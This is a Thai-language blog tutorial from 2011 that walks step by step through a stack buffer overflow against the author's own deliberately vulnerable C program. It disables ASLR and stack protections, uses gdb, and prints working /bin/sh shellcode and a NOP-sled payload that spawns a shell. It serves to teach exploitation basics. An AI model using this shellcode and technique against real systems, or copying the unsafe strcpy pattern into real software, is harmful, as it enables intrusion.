Hacking&Security Workshop

ตอนนี้ MaYaSeVeN ได้ย้าย Blog ไปที่ http://blog.mayaseven.com


Sunday, April 24, 2011

How to hack back to the basic Episode [zero] (Buffer Overflow)

หลังจากที่ผมได้ปล่อยบทความ How to hack back to the basic และ How to hack back to the basic Episode [1.5] ไปแล้วนั้นเชื่อว่าหลายๆคนอาจจะยังไม่เข้าใจในหลายส่วนของบทความ แต่ที่ผมปล่อยบทความนั้นออกไปก่อนเพื่อปลุกกระแส :D ที่นี้เราจะมาดู Episode ย้อนหลังกลับมาสักหน่อยนั้นคือ Episode [zero] หรือ Episode [0] นั้นเอง เราจะได้มีความเข้าใจในส่วนของพื้นฐานมากขึ้นโดยครั้งนี้เราจะเขียนโปรแกรมขึ้นมาแล้วก็ Hack โปรแกรมที่เราเขียนขึ้นมาเพื่อให้ง่ายต่อการทำความเข้าใจและการ Disassembly

ขั้นแรกเรามารู้จัก Virtual Memory กันก่อน

Virtual Memory

ที่มาของรูป : http://stackoverflow.com/questions/2048007/linux-ia-32-memory-model

Text ส่วนนี้เก็บ Machine Code พวก Instructions 
Data ส่วนนี้เก็บตัวแปรที่ประกาศเอาไว้และกำหนดค่าเริ่มต้นแล้ว เช่น int a = 10;
BSS ส่วนนี้เก็บตัวแปรที่ประกาศเอาไว้แต่ยังไม่ได้กำหนดค่าเริ่มต้น เช่น  int a;
Heap ส่วนนี้เกี่ยวกับการจัดสรร Memory allocation ต่างๆ
Stack ส่วนนี้เก็บข้อมูลจากพวก Function  ต่างๆ

จะเห็นว่าในส่วนของ Heap และ Stack สามารถขยายเพิ่มลดได้แต่ส่วน Data และ BSS นั้นจะถูกจองหน่วยความจำที่แน่นอนเป็นของตัวเอง

การทำงานของโปรแกรมใน Memory
1.)อ่านคำสั่งที่ Register EIP กำลังชี้อยู่
2.)ตรวจสอบว่าคำสั่งนั้นใช้พื้นที่ขนาดกี่ Byte และบวกจำนวน Byte นั้นเข้าไปใน Register EIP
3.)Excute คำสั่งที่อ่านจากหน่วยความจำในข้อมหนึ่ง
4.)กลับไปทำข้อ 1 Loop ไปเรื่อยๆจนจบโปรแกรม

Register  ที่สำคัญในบทความนี้(อธิบายแบบบ้านๆ)
1.)EIP คือ Register ชี้ไปที่คำสั่งที่กำลังจะทำงาน
2.)ESP คือ Register ี่เก็บตำแหน่งที่ Stack สูงสุดอยู่
3.)EBP คือฐานของ Stack โดย Stack จะไล่จาก Address สูงไปต่ำ
4.)EAX,EBX,ECX,EDX คือ Register เก็บข้อมูลทั่วไป

โปรแกรมที่ใช้
1.)GCC (GNU Compiler Collection)เอาไว้ใช้ Compile Code ภาษา ต่างๆ เป็น Binary Code
2.)GDB(The GNU Project Debugger)เอาไว้ใช้ Debug หรือ Disassembly Binary Code ให้เป็นภาษา Assembly (ถึงจะดูยากแต่มันดูง่ายกว่า Binary Code แน่ๆ :D)

โดย OS ที่ผมใช้ในการทดลองครั้งนี้คือเจ้า Blackbuntu 0.2 (Ubuntu 10.10 ,Kernel 2.6.35-28-generic)
ขั้นแรกเรามาปิด Future ในส่วนของการ Randomizing address space of new processes ของ OS ก่อนผมเข้าใจว่า future นี้ถูกนำมาใช้ตั้งแต่ Linux kernel 2.6 ขึ้นไป(ไม่ชัวร์)โดยปิดได้ใส่่  "0" เข้าไปใน process ดังกล่าวด้วยคำสั่ง

 root@ERROR:~# echo "0" > /proc/sys/kernel/randomize_va_space

หลังจากนั้นก็ทำการเขียนโปรแกรมง่ายๆขึ้นมาด้วยภาษา C

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
 char buffer[500];
 strcpy(buffer, argv[1]);
 return 0;
}

สิ่งที่โปรแกรมนี้ทำก็คือจอง buffer เอาไว้ 500 Byte และรับ argument จาก Standard input 
เราจะมา Compile เจ้าโปรแกรมนี้ด้วย gcc กัน 

error@ERROR:~/bof$ gcc overflow.c -o overflow -ggdb -fno-stack-protector -z execstack

สำหรับ options ในการ Compile นี้ก็คือ ให้สามารถ Execute Instructions ใน stack ได้และยกเลิกการป้องกันในส่วนของ stack และเพิ่มส่วนช่วยให้ gdb debug และ compile ให้ไฟล์ชื่อว่า overflow
ผมลอง run โปรแกรมนี้แล้วใส่ Input ไป 515 Byte โดยใช้ perl ช่วยในการใส่ Input

error@ERROR:~/bof$ ./overflow  `perl -e 'print "A" x 515 '`
Segmentation fault

จะเห็นว่ามีความผิดพลาดเกิดขึ้น เราจะมาลอง Disassembly ด้วย gdb

error@ERROR:~/bof$ gdb -q overflow
Reading symbols from /home/error/bof/overflow...done.
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3
4 int main(int argc, char** argv)
5 {
6 char buffer[500];
7 strcpy(buffer, argv[1]);
8 return 0;
9 }
(gdb) disas main
Dump of assembler code for function main:
   0x080483c4 <+0>: push   %ebp
   0x080483c5 <+1>: mov    %esp,%ebp
   0x080483c7 <+3>: and    $0xfffffff0,%esp
   0x080483ca <+6>: sub    $0x210,%esp
   0x080483d0 <+12>: mov    0xc(%ebp),%eax
   0x080483d3 <+15>: add    $0x4,%eax
   0x080483d6 <+18>: mov    (%eax),%eax
   0x080483d8 <+20>: mov    %eax,0x4(%esp)
   0x080483dc <+24>: lea    0x1c(%esp),%eax
   0x080483e0 <+28>: mov    %eax,(%esp)
   0x080483e3 <+31>: call   0x80482f4 <strcpy@plt>
   0x080483e8 <+36>: mov    $0x0,%eax
   0x080483ed <+41>: leave  
   0x080483ee <+42>: ret    
End of assembler dump.

ข้างบนนี้คือ Code ของโปรแกรมที่เราเขียนทั้งในรูปภาษา C และ Assembly ที่เครื่องคอมเราทำงานจริงๆ
เราจะ Run โปรแกรมใหม่และใส่ Input เข้าไป 515 ตัว 

(gdb)  run  `perl -e 'print "A" x 515'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/error/bof/overflow `perl -e 'print "A" x 515'`

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()

จากข้างบน 0x00414141 จะเห็นว่ามี A เข้าไปอยู่ในส่วนที่ Pointer ชี้แล้วสามตัว (ASCII 41 = A)
ทีนี้เราจะแก้ไข Input ที่เราส่งไป และไปดูในส่วนของ Stack ว่ามันเขียนอะไรไปมั้ง
โดยผมจะ Set Breakpoint ไว้ที่บรรทัดที่ 8 นั้นคือ return 0; หรือตำแหน่ง 0x80483e8 เพื่อไม่ให้โปรแกรมจบการทำงานทันทีเมื่อเราใส่ Input
ในส่วนของ Input ผมจะแนบ Shellcode ไปด้วยโดยใน Shellcode นี้มันก็คือ /bin/sh นั้นเอง
Code ของ Shellcode คือ


01/*
02Name    : 28 bytes "/bin/sh" shellcode -
03          execve(/bin/sh,[/bin/sh,null,null],null)
04Info    : A woking shellcode for bof exploit
05Author  : otoy
07Date    : August 2010
08Tested on: ubuntu 8.04 & Backtrack 4
09*/
10
11#include <stdio.h>
12
13char shellcode[] =
14"\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
15"\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
16
17int main(void)
18{
19                fprintf(stdout,"[*] Shellcode length: %d\n",strlen(shellcode));
20                ((void (*)(void)) shellcode)();
21
22                return 0;
23}

ที่มา : http://otoyrood.wordpress.com/2010/08/24/28-bytes-%E2%80%9Cbinsh%E2%80%9D-shellcode-for-bof-exploit/

(gdb)  run   `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) break 8
Breakpoint 2 at 0x80483e8: file overflow.c, line 8.
(gdb)  run   `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "AAAA" '`

Breakpoint 2, main (argc=0, argv=0xbffff1a4) at overflow.c:8
8 return 0;
(gdb) i r esp
esp            0xbfffeee0 0xbfffeee0
(gdb) x/150xw 0xbfffeee0
0xbfffeee0: 0xbfffeefc 0xbffff33e 0x0012cff4 0x0012d53c
0xbfffeef0: 0x00000000 0x0012cf8c 0x0012d020 0x90909090
0xbfffef00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffef90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffefa0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffefb0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffefc0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffefd0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffefe0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeff0: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffff000: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff010: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff020: 0x90909090 0x90909090 0xc289c031 0x2f6e6850
0xbffff030: 0x2f686873 0x8969622f 0xb0c189e3 0x5351520b
0xbffff040: 0x80cde189 0x90909090 0x90909090 0x90909090
0xbffff050: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff060: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff070: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff080: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff090: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff0f0: 0x90909090 0x90909090 0x90909090 0x41414141
0xbffff100: 0x00000000 0xbffff1a4 0xbffff1b0 0x00130848
0xbffff110: 0xbffff260 0xffffffff 0x0012cff4 0x0804822c
---Type <return> to continue, or q <return> to quit---
0xbffff120: 0x00000001 0xbffff160 0x0011e136 0x0012dad0
0xbffff130: 0x00130b28 0x002a3ff4


สังเกตุในส่วนต่อไปนี้
0xbffff010: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff020: 0x90909090 0x90909090 0xc289c031 0x2f6e6850
0xbffff030: 0x2f686873 0x8969622f 0xb0c189e3 0x5351520b
0xbffff040: 0x80cde189 0x90909090 0x90909090 0x90909090

จะเห็นว่า Shellcode เราถูกห่อหุ้มด้วย 0x90909090 เราจะ ให้ Pointer ชี้ไปที่ตำแหน่งก่อนหน้าที่ Shellcode อยู่เพื่อให้มันกลับไป Execute Shellcode โดยเราจะเปลี่ยนจาก "AAAA" เป็นตำแหน่งที่เราจะ Return ไป ตำแหน่งนั้นคือ 0xbfffef30 ผมใส่เป็น "\x30\xef\xff\xbf"  ผมทำรูปมาให้ดูด้วย

(gdb)  run   `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`

Breakpoint 2, main (argc=0, argv=0xbffff1a4) at overflow.c:8
8 return 0;
(gdb) delete
Delete all breakpoints? (y or n) y
(gdb)  run   `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/error/bof/overflow `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`
process 22943 is executing new program: /bin/dash
$ ls
overflow  overflow.c
$


(NOP = 0x90909090 = No Operation)
จากข้างบนจะเห็นว่าเราสามารถ Execute Shellcode สำเร็จและสามารถสร้าง Process ใหม่ขึ้นมาคือ /bin/dash ได้นั้นเอง ขั้นสุดท้ายเราจะมาทดสอบนอก gdb กัน

error@ERROR:~/bof$ ./overflow  `perl -e 'print "\x90" x 300 . "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80" . "\x90" x 184 . "\x30\xef\xff\xbf" '`
$ ls
overflow  overflow.c
$ cat overflow.c
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}

จะเห็นว่าก็สามารถ Run Shellcode ได้สำเร็จเช่นกัน

สรุป ผมยอมรับว่าสำหรับมือใหม่บทความนี้ค่อนข้างจะเข้าใจยากทั้งที่มันเป็นเรื่องที่ Basic ที่สุดในการ Hack (ยังไม่ได้มีส่วนในการ Bypass ระบบป้องกันใดๆเลย) ถ้าใจรักจริงผมแนะนำให้ค่อยๆทำตามทีละ Step ติดตรงไหนก็สามารถ Comments ถามได้ สำหรับเซียนท่านไหนที่เข้ามาอ่านแล้วเห็นว่าส่วนไหนที่ผมเขียนยังไม่ถูกต้องสามารถ Comments บอกให้ผมแก้ไขได้เลยครับ :D

Reference Shellcode :  http://otoyrood.wordpress.com/2010/08/24/28-bytes-%E2%80%9Cbinsh%E2%80%9D-shellcode-for-bof-exploit/
สามารถอ่านหัวข้อ Episode ต่างๆได้ที่นี้
0.)http://mayaseven.blogspot.com/2011/04/how-to-hack-back-to-basic-episode-zero.html
1.)http://mayaseven.blogspot.com/2011/04/how-to-hack-back-to-basic.html
1.5)http://mayaseven.blogspot.com/2011/04/how-to-hack-back-to-basic_07.html

#เขียนโดย MaYaSeVeN http://mayaseven.blogspot.com
#อนุญาติให้ Copy ไปโพสต่อที่ไหนก็ได้แต่ต้องแนบเครดิตด้วยนะครับ